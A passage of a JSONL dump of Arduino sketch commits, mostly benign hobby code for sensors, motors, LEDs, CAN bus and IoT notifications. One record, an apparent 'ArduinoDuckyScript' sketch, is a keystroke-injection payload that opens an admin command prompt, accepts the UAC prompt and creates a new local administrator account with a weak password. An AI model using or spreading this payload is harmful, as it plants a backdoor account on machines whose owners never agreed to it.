loop()\n{\n static int32_t cycle = 1;\n\n \/\/ Wait for clock update\n uint32_t now = clock.await();\n\n \/\/ Calculate error and possible adjustment\n int32_t diff = bark.time() - now;\n int32_t err = (1000 * diff) \/ cycle;\n if (err != 0) {\n bark.adjust(err \/ 2);\n trace << endl << PSTR(\"calibration=\") << bark.calibration() << endl;\n cycle = 1;\n clock.time(0);\n now = clock.await();\n delay(500);\n bark.time(now + 1);\n }\n else {\n trace << '.';\n cycle += 1;\n }\n}\n","subject":"Add a tool for auto calibration of watchdog based clock.","message":"Add a tool for auto calibration of watchdog based clock.\n","lang":"Arduino","license":"lgpl-2.1","repos":"jeditekunum\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,dansut\/Cosa"} {"commit":"acb0f06ce9e4bc95b05e68726a70de5eca4043df","old_file":"Kirbi\/testing\/lidar_serial\/lidar_serial.ino","new_file":"Kirbi\/testing\/lidar_serial\/lidar_serial.ino","old_contents":"","new_contents":"\/\/ set this to the hardware serial port you wish to use\n#define HWSERIAL Serial1\nbyte byteArray [9];\n\/\/ Byte0 Byte 1 Byte2 Byte3 Byte4 Byte5 Byte6 Byte7 Byte8\n\/\/ 0x89 0x89 Dist_L Dist_H Strength_L Strength_H Temp_L Temp_H Checksum\n\/\/ byte2 is distance, overflows into byte3\n\nbyte configOutput [5] = {0x5A, 0x05, 0x07, 0x01, 0x11}; \/\/ write this array to HWSERIAL to enable output\nbyte configUART [5] = {0x5A, 0x05, 0x0A, 0x00, 0x11}; \/\/ write this array to HWSERIAL to set sensor to UART mode\n\/\/ more config commands on datasheet https:\/\/acroname.com\/sites\/default\/files\/assets\/sj-gu-tfmini_plus-01-a04-datasheet_en.pdf\n\n\nvoid setup() {\n Serial.begin(115200); \n HWSERIAL.begin(115200);\/\/ default baud rate\n HWSERIAL.write(configUART, 5); \/\/ set sensor to UART mode\n HWSERIAL.write(configOutput, 5); \/\/ enable output\n}\n\nvoid loop() {\n if (HWSERIAL.available() > 0) {\n HWSERIAL.readBytes(byteArray, 9); \/\/ write output of read to an array of length 9\n for (int i =0;i<9;i++){\n Serial.println(byteArray[i]); \n } \n }\n}\n","subject":"Add TFmini plus (lidar) test code","message":"Add TFmini plus (lidar) test code\n","lang":"Arduino","license":"mit","repos":"simplyellow\/auto-sumo"} {"commit":"225563b994ed25df458cd817349bd2d1aa4f50ec","old_file":"tinkering\/motor\/button_op_enable\/button_op_enable.ino","new_file":"tinkering\/motor\/button_op_enable\/button_op_enable.ino","old_contents":"","new_contents":"#include \n\n#define P1 P4_5\n#define P2 P1_1\n\nconst int stepsPerRevolution = 200;\n\nStepper myStepper(stepsPerRevolution, 12,13,5,9);\n\nshort forward;\nshort backward;\n\nvoid setup() {\n \/\/ set the speed at 60 rpm:\n myStepper.setSpeed(60);\n \n \/\/ initialize the serial port:\n Serial.begin(9600);\n\n \/\/ Enable pin pull-up for the buttons\n pinMode(P4_5, INPUT_PULLUP);\n pinMode(P1_1, INPUT_PULLUP);\n\n \/\/ Set modes for enable pins\n pinMode(18, OUTPUT);\n pinMode(19, OUTPUT);\n}\n\nvoid loop() {\n\n \/\/ Read button pins \n forward = digitalRead(P1);\n backward = digitalRead(P2);\n Serial.print(forward);\n\n \/\/ Enable or disable motor\n if (forward == 0 || backward == 0) {\n digitalWrite(18, HIGH);\n digitalWrite(19, HIGH);\n }\n else {\n digitalWrite(18, LOW);\n digitalWrite(19, LOW);\n }\n\n \/\/ Turn motor if a button is pressed\n if (forward == 0) {\n myStepper.step(1);\n }\n \n if (backward == 0) {\n myStepper.step(-1);\n }\n\n \/\/ Delay before next loop. Determines how fast the motor turns\n delay(4);\n \n}\n\n\n","subject":"Test for motor using enable pins and buttons operation.","message":"Test for motor using enable pins and buttons operation.\n","lang":"Arduino","license":"mit","repos":"fkmclane\/derailleurs,fkmclane\/derailleurs,fkmclane\/derailleurs"} {"commit":"a827db4891ed8d89920e9474a2c33b4cfd3d8666","old_file":"examples\/sendFD\/sendFD.ino","new_file":"examples\/sendFD\/sendFD.ino","old_contents":"","new_contents":"\/\/ demo: CAN-BUS Shield, send data\n\/\/ loovee@seeed.cc\n\n\n#include \n#include \"mcp2518fd_can.h\"\n\n\/*SAMD core*\/\n#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE\n #define SERIAL SerialUSB\n#else\n #define SERIAL Serial\n#endif\n\n\n#define CAN_2518FD\n\/\/ the cs pin of the version after v1.1 is default to D9\n\/\/ v0.9b and v1.0 is default D10\nconst int SPI_CS_PIN = BCM8;\n\n#ifdef CAN_2518FD\nmcp2518fd CAN(SPI_CS_PIN); \/\/ Set CS pin\n#endif\n\nvoid setup() {\n SERIAL.begin(115200);\n while(!Serial){};\n CAN.setMode(0);\n while (0 != CAN.begin((byte)CAN_500K_1M)) { \/\/ init can bus : baudrate = 500k \n SERIAL.println(\"CAN BUS Shield init fail\");\n SERIAL.println(\" Init CAN BUS Shield again\");\n delay(100);\n }\n byte mode = CAN.getMode();\n SERIAL.printf(\"CAN BUS get mode = %d\\n\\r\",mode);\n SERIAL.println(\"CAN BUS Shield init ok!\");\n}\n\nunsigned char stmp[64] = {0};\nvoid loop() {\n \/\/ send data: id = 0x00, standrad frame, data len = 8, stmp: data buf\n stmp[63] = stmp[63] + 1;\n if (stmp[63] == 100) {\n stmp[63] = 0;\n stmp[63] = stmp[63] + 1;\n\n if (stmp[6] == 100) {\n stmp[6] = 0;\n stmp[5] = stmp[6] + 1;\n }\n }\n\n CAN.sendMsgBuf(0x00, 0, 15, stmp);\n delay(100); \/\/ send data per 100ms\n SERIAL.println(\"CAN BUS sendMsgBuf ok!\");\n}\n\n\/\/ END FILE\n","subject":"Add canbus FD send example","message":"Add canbus FD send example\n","lang":"Arduino","license":"mit","repos":"Seeed-Studio\/CAN_BUS_Shield,Seeed-Studio\/CAN_BUS_Shield"} {"commit":"1e85aea9084d828bf5524e146a938e0d052ae126","old_file":"test\/ecdsa_test\/ecdsa_test.ino","new_file":"test\/ecdsa_test\/ecdsa_test.ino","old_contents":"","new_contents":"#include \n\n#include \n#include \n\n#include \n\n#include \n\n#include \n\n#include \n#include \n#include \n#include \n\n\n#include \n\nextern \"C\" {\n\nstatic int RNG(uint8_t *p_dest, unsigned p_size)\n{\n while(p_size) {\n long v = random();\n unsigned l_amount = min(p_size, sizeof(long));\n memcpy(p_dest, &v, l_amount);\n p_size -= l_amount;\n p_dest += l_amount;\n }\n return 1;\n}\n\nvoid px(uint8_t *v, uint8_t num)\n{\n uint8_t i;\n for(i=0; i\n\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n\n#include \n#include \n#include \n\n#include \n\n","subject":"Add sketch that includes all LCD interface implementations and adapters.","message":"Add sketch that includes all LCD interface implementations and adapters.\n","lang":"Arduino","license":"lgpl-2.1","repos":"jeditekunum\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa"} {"commit":"ccdf20ed7ac901142983cd004e82e5a8f4821d6a","old_file":"examples\/evothings.bluetooth_discovery\/firmware\/Token_fw_BEANHW.ino","new_file":"examples\/evothings.bluetooth_discovery\/firmware\/Token_fw_BEANHW.ino","old_contents":"","new_contents":"\/\/ Token's firmware working copy\n\/\/ Code based on RFDUINO hardware, uses C char arrays \n\n#include \n\n\n\n\/\/Test JSON strings\nchar OFF[]= \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"off\\\"}\";\nchar GREEN[] = \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"on\\\",\\\"color\\\":\\\"green\\\"}\";\nchar RED[] = \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"on\\\",\\\"color\\\":\\\"red\\\"}\";\nchar BLUE[] = \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"on\\\",\\\"color\\\":\\\"blue\\\"}\";\nchar WHITE[] = \"{\\\"device\\\":\\\"LED\\\",\\\"event\\\":\\\"on\\\",\\\"color\\\":\\\"white\\\"}\";\n\nvoid setup() {\n \/\/Serial.begin(9600); \/\/Streams debug messagges over the serial port DEFAULT: OFF\n\n \n \/\/ Test LED on startup\n parseJSON(GREEN);\n delay(300);\n parseJSON(RED);\n delay(300);\n parseJSON(BLUE);\n delay(300);\n parseJSON(WHITE);\n delay(300);\n parseJSON(OFF);\n delay(300);\n \n \/\/Initialise bluetooth\n}\n\nvoid loop() {\n\n}\n\n\n\n\/\/Parses JSON messages\nvoid parseJSON(char *payload) {\n char sel;\n \/\/ char json[200]; \n \/\/ payload.toCharArray(json, 50);\n StaticJsonBuffer<200> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(payload);\n\n \/\/ Serial.print(\"DEBUG: \"); Serial.println(json);\n if (!root.success()) {\n Serial.println(\"parseObject() failed\");\n return;\n }\n\n const char* device = root[\"device\"];\n const char* event = root[\"event\"];\n const char* color = root[\"color\"];\n\n if(strcmp(device, \"LED\") == 0)\n {\n if(strcmp(event, \"on\") == 0)\n {\n sel = color[0];\n ledON(sel);\n } \n if (strcmp(event, \"off\") == 0)\n {\n ledOFF();\n }\n }\n}\n\n\/\/ Turns the LED off\nvoid ledOFF(){\n Bean.setLed(0, 0, 0);\n}\n\n\/\/ Turns on the LED on a specific color: r=red, g=gree, osv..\nvoid ledON(char sel){\n switch(sel)\n {\n case 'r':\n {\n Bean.setLed(255, 0, 0);\n Serial.println(\"DEBUG: LED RED ON\");\n break;\n }\n case 'g':\n {\n Bean.setLed(0, 255, 0);\n Serial.println(\"DEBUG: LED GREEN ON\");\n break;\n }\n case 'b':\n {\n Bean.setLed(0, 0, 255);\n Serial.println(\"DEBUG: LED BLUE ON\");\n break;\n }\n case 'w':\n {\n Bean.setLed(255, 255, 255);\n Serial.println(\"DEBUG: LED WITHE ON\");\n break;\n } \n }}\n","subject":"Add firmware for LightBlueBean Token","message":"Add firmware for LightBlueBean Token\n","lang":"Arduino","license":"unlicense","repos":"Matth26\/anyboardjs,tomfa\/anyboardjs,tomfa\/anyboardjs"} {"commit":"030b5c240977d05e5a83c9880277673af75d119a","old_file":"Blink_ESP8266\/Blink_ESP8266.ino","new_file":"Blink_ESP8266\/Blink_ESP8266.ino","old_contents":"","new_contents":"\/*\n* Blink for esp8266\n*\/\n\n#define ESP8266_LED 2\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(ESP8266_LED, OUTPUT);\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n digitalWrite(ESP8266_LED, HIGH);\n delay(1000);\n digitalWrite(ESP8266_LED, LOW);\n delay(1000);\n\n}\n","subject":"Add new sketch for ESP8266","message":"Add new sketch for ESP8266\n","lang":"Arduino","license":"cc0-1.0","repos":"darrell24015\/Uno,darrell24015\/Uno"} {"commit":"6a3ef20f1f6e501e592f1163de973bddc629febd","old_file":"examples\/A01_ContrastHelper\/A01_ContrastHelper.ino","new_file":"examples\/A01_ContrastHelper\/A01_ContrastHelper.ino","old_contents":"","new_contents":"\/** Contrast Helper\n * \n * Loops through a range of contrast values and prints each one.\n * \n * To set the contrast in your sketch, simply put lcd.setContrast(xx); \n * after your lcd.begin().\n * \n * Experimentally determined, contrast values around 65-70 tend to \n * work reasonably well on most displays. The best contrast value\n * for each display is specific to that particular display due to\n * manufacturing tolerances and so forth.\n * \n *\/\n \n#include \n#include \"PCD8544_Simple.h\"\n\nPCD8544_Simple lcd;\nconst uint8_t contrastMin = 40;\nconst uint8_t contrastMax = 80;\nstatic uint8_t contrastDirection = 1;\nstatic uint8_t contrast = (contrastMax-contrastMin)\/2+contrastMin;\n\nvoid setup()\n{\n lcd.begin(); \n}\n\nvoid loop()\n{ \n if(contrastDirection)\n {\n if(contrast++ > contrastMax)\n {\n contrastDirection = 0;\n }\n } \n else\n {\n if(contrast-- < contrastMin)\n {\n contrastDirection = 1;\n } \n }\n \n lcd.setContrast(contrast); \n lcd.print(\"lcd.setContrast(\");\n lcd.print(contrast);\n lcd.println(\");\");\n \n delay(500); \n}","subject":"Add example to help find suitable contrast value.","message":"Add example to help find suitable contrast value.\n","lang":"Arduino","license":"bsd-3-clause","repos":"sleemanj\/PCD8544_Simple"} {"commit":"3c0d6e4258c8ea5efb801627352e994240f550c6","old_file":"Trigger.ino","new_file":"Trigger.ino","old_contents":"","new_contents":"\n\/\/\n\/\/ Generate a 9Hz square signal to trigger camera and lightning\n\/\/\n\n\/\/ Arduino setup\nvoid setup()\n{\n \/\/ Output signal\n pinMode( 13, OUTPUT );\n}\n\n\/\/ Main loop\nvoid loop()\n{\n \/\/ High state (11ms)\n digitalWrite( 13, HIGH );\n delay( 11 );\n\n \/\/ Low state (100ms)\n digitalWrite( 13, LOW );\n delay( 100 );\n}\n","subject":"Add Arduino program to generate camera and light trigger.","message":"Add Arduino program to generate camera and light trigger.\n","lang":"Arduino","license":"mit","repos":"microy\/PyStereoVisionToolkit,microy\/PyStereoVisionToolkit,microy\/StereoVision,microy\/VisionToolkit,microy\/StereoVision,microy\/VisionToolkit"} {"commit":"7324c5a8dbbbad438fc8a6f16a40bb1c7c1285e4","old_file":"Arduino\/motor_test\/motor_test.ino","new_file":"Arduino\/motor_test\/motor_test.ino","old_contents":"","new_contents":"#include \"DualVNH5019MotorShield.h\"\n \nDualVNH5019MotorShield md;\n \nvoid stopIfFault()\n{\n if (md.getM1Fault())\n {\n Serial.println(\"M1 fault\");\n while(1);\n }\n if (md.getM2Fault())\n {\n Serial.println(\"M2 fault\");\n while(1);\n }\n}\n \nvoid setup()\n{\n Serial.begin(19200);\n Serial.println(\"Dual VNH5019 Motor Shield\");\n md.init();\n}\n \nvoid loop()\n{\n for (int i = 0; i <= 400; i++)\n {\n md.setM1Speed(i);\n stopIfFault();\n if (i%200 == 100)\n {\n Serial.print(\"M1 current: \");\n Serial.println(md.getM1CurrentMilliamps());\n }\n delay(2);\n }\n \n for (int i = 400; i >= -400; i--)\n {\n md.setM1Speed(i);\n stopIfFault();\n if (i%200 == 100)\n {\n Serial.print(\"M1 current: \");\n Serial.println(md.getM1CurrentMilliamps());\n }\n delay(2);\n }\n \n for (int i = -400; i <= 0; i++)\n {\n md.setM1Speed(i);\n stopIfFault();\n if (i%200 == 100)\n {\n Serial.print(\"M1 current: \");\n Serial.println(md.getM1CurrentMilliamps());\n }\n delay(2);\n }\n \n for (int i = 0; i <= 400; i++)\n {\n md.setM2Speed(i);\n stopIfFault();\n if (i%200 == 100)\n {\n Serial.print(\"M2 current: \");\n Serial.println(md.getM2CurrentMilliamps());\n }\n delay(2);\n }\n \n for (int i = 400; i >= -400; i--)\n {\n md.setM2Speed(i);\n stopIfFault();\n if (i%200 == 100)\n {\n Serial.print(\"M2 current: \");\n Serial.println(md.getM2CurrentMilliamps());\n }\n delay(2);\n }\n \n for (int i = -400; i <= 0; i++)\n {\n md.setM2Speed(i);\n stopIfFault();\n if (i%200 == 100)\n {\n Serial.print(\"M2 current: \");\n Serial.println(md.getM2CurrentMilliamps());\n }\n delay(2);\n }\n}\n","subject":"Add test sketch which simply runs each motor separately, without input from Android","message":"Add test sketch which simply runs each motor separately, without input from Android\n","lang":"Arduino","license":"mit","repos":"zvikabh\/RCCarController,zvikabh\/RCCarController"} {"commit":"65517b824630070a8ef5351a3f07c643de659be9","old_file":"Sensors\/GpsDataToSerial\/GpsDataToSerial.ino","new_file":"Sensors\/GpsDataToSerial\/GpsDataToSerial.ino","old_contents":"","new_contents":"#include \n\nSoftwareSerial SoftSerial(2, 3);\nchar buffer[265];\nint count=0;\n\nvoid setup()\n{\n SoftSerial.begin(9600);\n Serial.begin(9600);\n}\n \nvoid loop()\n{\n if (SoftSerial.available())\n {\n while(SoftSerial.available())\n {\n buffer[count++]=SoftSerial.read();\n if(count == 265)break;\n }\n\n String value = \"\";\n\n if(String(char(buffer[0])) + char(buffer[1]) + char(buffer[2]) + char(buffer[3]) + char(buffer[4]) + char(buffer[5]) == \"$GPGGA\"){\n boolean isEnd = false;\n int commaCount = 0;\n\n for(int i = 6; isEnd == false; i++){ \n if(buffer[i] == 44)\n commaCount++;\n \n if(commaCount == 14)\n isEnd = true;\n\n if(isEnd == true){\n i -= 6;\n for(int x = 0; x <= i; x++){\n char current = char(buffer[x]);\n value += current;\n }\n\n Serial.println(value);\n \n Serial.println(getValue(value,',',1));\n Serial.println(getValue(value,',',2));\n Serial.println(getValue(value,',',4));\n }\n }\n }\n \n delay(1000);\n clearBufferArray();\n count = 0;\n }\n}\n\nvoid clearBufferArray()\n{\n for (int i=0; iindex ? data.substring(strIndex[0], strIndex[1]) : \"\";\n}\n","subject":"Read GPS data from sensor and write it to the serial port","message":"Read GPS data from sensor and write it to the serial port\n","lang":"Arduino","license":"apache-2.0","repos":"GillisWerrebrouck\/SportModule,GillisWerrebrouck\/SportModule"} {"commit":"d85dc2215906d48c2c1a21a304d0f7c64e977037","old_file":"jarbas.ino","new_file":"jarbas.ino","old_contents":"","new_contents":"#include \n#include \n\n#define RELAY D1\n\nconst int HTTPS_PORT = 443;\nconst char* WIFI = \"WIFI\";\nconst char* PASSWORD = \"PASSWORD\";\n\nconst char* HOST = \"hooks.slack.com\";\nconst char* URL = \"URL\";\nString PAYLOAD = String(\"{\\\"text\\\": \\\"@here Café quentinho na cafeteira!\\\", \\\"link_names\\\": 1}\");\n\nESP8266WiFiMulti wifi;\n\nbool turnOff = false;\nbool coffeeIsReady = false;\n\nvoid prepareCoffee() {\n delay(9 * 60 * 1000); \/\/ Wait 9 minutes.\n coffeeIsReady = true;\n}\n\nvoid notifySlack() {\n HTTPClient client;\n \n client.begin(HOST, HTTPS_PORT, URL, String(\"AC:95:5A:58:B8:4E:0B:CD:B3:97:D2:88:68:F5:CA:C1:0A:81:E3:6E\"));\n client.addHeader(\"Content-Type\", \"application\/x-www-form-urlencoded\");\n client.POST(PAYLOAD);\n client.end();\n}\n\nvoid waitAndTurnOffCoffeeMachine() {\n delay(10 * 60 * 1000); \/\/ Wait 10 minutes.\n digitalWrite(RELAY, LOW); \/\/ Turn off.\n turnOff = true;\n}\n\nvoid setup() {\n wifi.addAP(WIFI, PASSWORD);\n pinMode(RELAY, OUTPUT);\n digitalWrite(RELAY, HIGH);\n}\n\nvoid loop() {\n if (!turnOff && !coffeeIsReady) prepareCoffee();\n\n if (!turnOff && coffeeIsReady && wifi.run() == WL_CONNECTED) {\n notifySlack();\n waitAndTurnOffCoffeeMachine();\n }\n\n delay(1000);\n}\n","subject":"Add source code for Jarbas","message":"Add source code for Jarbas\n","lang":"Arduino","license":"mit","repos":"fablabjoinville\/jarbas"} {"commit":"40376ba1f0a6dede272df093181fd1d5697267f6","old_file":"examples\/ReadA0\/ReadA0.ino","new_file":"examples\/ReadA0\/ReadA0.ino","old_contents":"","new_contents":"\/*\n * Simple demonstration of AsyncDelay to read the A0 analogue input\n * every 50 ms. \n*\/\n#include \n\n\nAsyncDelay samplingInterval;\n\nvoid setup(void)\n{\n Serial.begin(115200);\n samplingInterval.start(50, AsyncDelay::MILLIS);\n}\n\n\nvoid loop(void)\n{\n if (samplingInterval.isExpired()) {\n uint16_t count = analogRead(A0);\n samplingInterval.repeat();\n Serial.print(count);\n Serial.print('\\n');\n }\n}\n","subject":"Add example to read A0","message":"Add example to read A0\n","lang":"Arduino","license":"lgpl-2.1","repos":"stevemarple\/AsyncDelay"} {"commit":"6901dd15021ad107437aabf4441e49fd7adfa769","old_file":"Arduino\/libraries\/UA_Sensors\/examples\/BasicUltrasonic\/BasicUltrasonic.ino","new_file":"Arduino\/libraries\/UA_Sensors\/examples\/BasicUltrasonic\/BasicUltrasonic.ino","old_contents":"","new_contents":"\/*\n Test Ultrasonic sensor readings\n\n Created 2 7 2014\n Modified 2 7 2014\n*\/\n\n\/\/ Ultrasonic sensor settings\nconst byte ULTRASONIC_PIN = A6;\n\nvoid setup()\n{\n Serial.begin(9600);\n}\n\n\nvoid loop()\n{\n Serial.println(analogRead(ULTRASONIC_PIN));\n delay(1000);\n}","subject":"Add simple sketch to test Ultrasonic sensor","message":"Add simple sketch to test Ultrasonic sensor\n","lang":"Arduino","license":"unlicense","repos":"UAA-EQLNES\/EQLNES-Sensors"} {"commit":"f44574108258d381336d02a6c52fd8bd3a7d3366","old_file":"examples\/Boards_BLE\/Simblee_BLE\/Simblee_BLE.ino","new_file":"examples\/Boards_BLE\/Simblee_BLE\/Simblee_BLE.ino","old_contents":"","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n *\n * This example shows how to use Simblee BLE\n * to connect your project to Blynk.\n *\n * NOTE: BLE support is in beta!\n *\n **************************************************************\/\n\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial\n\n\/\/#define BLYNK_USE_DIRECT_CONNECT\n\n#include \n#include \n\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n Serial.begin(9600);\n\n SimbleeBLE.deviceName = \"Simblee\";\n SimbleeBLE.advertisementInterval = MILLISECONDS(300);\n SimbleeBLE.txPowerLevel = -20; \/\/ (-20dbM to +4 dBm)\n\n \/\/ start the BLE stack\n SimbleeBLE.begin();\n\n Blynk.begin(auth);\n\n Serial.println(\"Bluetooth device active, waiting for connections...\");\n}\n\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","subject":"Add Simblee BLE example","message":"Add Simblee BLE example\n[ci skip]\n","lang":"Arduino","license":"mit","repos":"blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library"} {"commit":"339a5cb2c9f41c451aa738678d23596ebe36cdea","old_file":"examples\/SerialCustom\/SerialCustom.ino","new_file":"examples\/SerialCustom\/SerialCustom.ino","old_contents":"","new_contents":"#include \"VdlkinoSerial.h\"\n\nVdlkinoSerial vdlkino(14, 6, &Serial);\n\nuint16_t get_analog_byte(void *block) {\n VdlkinoBlock *vblock = (VdlkinoBlock*) block;\n return map(analogRead(vblock->pin), 0, 1023, 0, 255);\n}\n\nvoid setup() {\n Serial.begin(9600);\n vdlkino.operations[8] = &get_analog_byte;\n}\n\nvoid loop() {\n vdlkino.run();\n}\n","subject":"Add example of a custom function in serial","message":"Add example of a custom function in serial\n","lang":"Arduino","license":"mit","repos":"eduardoklosowski\/vdlkino,eduardoklosowski\/vdlkino"} {"commit":"27ec02189502418189737c8467935b6093d34165","old_file":"examples\/simple\/simpleneopixelring.ino","new_file":"examples\/simple\/simpleneopixelring.ino","old_contents":"","new_contents":"\/*\nNeoPixel Ring simple sketch (c) 2013 Shae Erisson\nreleased under the GPLv3 license to match the rest of the AdaFruit NeoPixel library\n*\/\n#include \n#ifdef __AVR_ATtiny85__ \/\/ Trinket, Gemma, etc.\n #include \n#endif\n\n\/\/ Which pin on the FLORA is connected to the NeoPixel ring?\n#define PIN 6\n\n\/\/ We're using only one ring with 16 NeoPixel\n#define NUMPIXELS 16\n\n\/\/ When we setup the NeoPixel library, we tell it how many pixels, and which pin to use to send signals.\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);\n\nint delayval = 500; \/\/ delay for half a second\n\nvoid setup() {\n#ifdef __AVR_ATtiny85__ \/\/ Trinket, Gemma, etc.\n if(F_CPU == 16000000) clock_prescale_set(clock_div_1);\n \/\/ Seed random number generator from an unused analog input:\n randomSeed(analogRead(2));\n#else\n randomSeed(analogRead(A0));\n#endif\n pixels.begin(); \/\/ This initializes the NeoPixel library.\n}\n\nvoid loop() {\n \/\/ for one ring of 16, the first NeoPixel is 0, second is 1, all the way up to 15\n for(int i=0;i\n#include \n\n\/\/ Init function\nvoid setup()\n{\n \/\/ Start Keyboard and Mouse\n Keyboard.begin();\n\n \/\/ Start Payload\n \/\/ press Windows+X\n Keyboard.press(KEY_LEFT_GUI);\n delay(1000);\n Keyboard.press('x');\n Keyboard.releaseAll();\n delay(500);\n\n \/\/ launch Command Prompt (Admin)\n typeKey('a');\n delay(3000);\n\n \/\/ klik \"Yes\"\n typeKey(KEY_LEFT_ARROW);\n typeKey(KEY_RETURN);\n delay(1000);\n\n \/\/ add user\n Keyboard.println(\"net user \/add Arduino 123456\");\n typeKey(KEY_RETURN); \n delay(100);\n\n \/\/ make that user become admin \n Keyboard.print(\"net localgroup administrators Arduino \/add\");\n typeKey(KEY_RETURN);\n delay(100);\n\n Keyboard.print(\"exit\");\n typeKey(KEY_RETURN); \n \/\/ End Payload\n\n \/\/ Stop Keyboard and Mouse\n Keyboard.end();\n}\n\n\/\/ Unused\nvoid loop() {}\n\n\/\/ Utility function\nvoid typeKey(int key){\n Keyboard.press(key);\n delay(500);\n Keyboard.release(key);\n}\n\n","subject":"Add comment to improve code readability","message":"Add comment to improve code readability\n","lang":"Arduino","license":"mit","repos":"christofersimbar\/ArduinoDuckyScript"} {"commit":"e6cf01d5e12a6c4a7c563aa2a31e5feb54f879b0","old_file":"ARTF_Sensors\/examples\/LowPowerUltrasonicWithSD\/LowPowerUltrasonicWithSD.ino","new_file":"ARTF_Sensors\/examples\/LowPowerUltrasonicWithSD\/LowPowerUltrasonicWithSD.ino","old_contents":"","new_contents":"\/*\n Test Ultrasonic sensor readings on sensor platform\n\n This sketch is designed to test the accuracy of the Ultrasonic\n sensor with the battery pack and circuit of the sensor platform.\n\n This sketch takes 5 readings and averages them to\n help verify similar calculations used in BridgeSensorGSM\n sketch. The results are written to the SD card\n\n Created 10 7 2014\n Modified 10 7 2014\n*\/\n#include \n\n#include \n\n\/\/ ARTF SDCard Dependency\n#include \n#include \n\n\n\/\/ Ultrasonic Settings\nconst byte ULTRASONIC_PIN = A6;\nconst int DISTANCE_INCREMENT = 5;\nconst int NUM_READINGS = 5;\n\n\/\/ SD Card Settings\nconst byte SD_CS_PIN = 10;\n#define OUTPUT_FILENAME \"ultra.txt\"\n\n\nARTF_SDCard sd(SD_CS_PIN);\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(SD_CS_PIN, OUTPUT);\n}\n\nint count = 1;\nvoid loop()\n{\n\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF);\n\n String output = \"\";\n\n output += \"Trial \" + String(count) + \"\\n\";\n output += \"-------------------\\n\";\n\n \/\/ Take X readings\n int distanceReadings[NUM_READINGS];\n for (int i = 0; i < NUM_READINGS; ++i)\n {\n int reading = analogRead(ULTRASONIC_PIN);\n distanceReadings[i] = reading * DISTANCE_INCREMENT;\n\n output += String(i) + \". Analog:\" + String(reading) + \"; Calculated:\" + String(distanceReadings[i]) + \"\\n\";\n\n delay(300);\n }\n\n \/\/ Average the readings\n double sumDistance = 0.0;\n for (int i = 0; i < NUM_READINGS; ++i)\n {\n sumDistance += distanceReadings[i];\n }\n double avgDistance = sumDistance \/ NUM_READINGS;\n\n \/\/ Rounded measurements\n int roundedDistance = round(avgDistance);\n\n output += \"Rounded:\" + String(roundedDistance) + \"\\n\\n\";\n\n sd.begin();\n sd.writeFile(OUTPUT_FILENAME, output);\n\n delay(500);\n count += 1;\n}","subject":"Add sketch that test ultrasonic readings on sensor platform","message":"Add sketch that test ultrasonic readings on sensor platform\n","lang":"Arduino","license":"unlicense","repos":"UAA-EQLNES\/ARTF-Field-Sensors"} {"commit":"dd16ce7011543f55f699d0776c3d2068e961d5df","old_file":"Arduino\/robot_motor_body\/robot_motor_body.ino","new_file":"Arduino\/robot_motor_body\/robot_motor_body.ino","old_contents":"","new_contents":"\/* \nThis is a test sketch for the Adafruit assembled Motor Shield for Arduino v2\nIt won't work with v1.x motor shields! Only for the v2's with built in PWM\ncontrol\n\nFor use with the Adafruit Motor Shield v2 \n---->\thttp:\/\/www.adafruit.com\/products\/1438\n*\/\n\n#include \n#include \n#include \"utility\/Adafruit_MS_PWMServoDriver.h\"\n\nAdafruit_MotorShield AFMSbot(0x60); \/\/ Default address, no jumpers\nAdafruit_MotorShield AFMStop(0x61); \/\/ Rightmost jumper closed\n\nAdafruit_DCMotor *motorMiddleLeft = AFMStop.getMotor(2); \/\/Backwards\nAdafruit_DCMotor *motorFrontLeft = AFMStop.getMotor(3); \/\/ Forwards\nAdafruit_DCMotor *motorBackLeft = AFMStop.getMotor(1); \/\/ Backwards\nAdafruit_DCMotor *motorBackRight = AFMSbot.getMotor(2); \/\/ Backwards\nAdafruit_DCMotor *motorFrontRight = AFMSbot.getMotor(3); \/\/ Backwards\nAdafruit_DCMotor *motorMiddleRight = AFMSbot.getMotor(4); \/\/ Backwards\n\n\nvoid setup() {\n while (!Serial);\n Serial.begin(9600); \/\/ set up Serial library at 9600 bps\n Serial.println(\"MMMMotor party!\");\n\n AFMSbot.begin(); \/\/ Start the bottom shield\n AFMStop.begin(); \/\/ Start the top shield\n \n \/\/ turn on the DC motor\n motorMiddleLeft->setSpeed(100);\n motorMiddleLeft->run(BACKWARD);\n 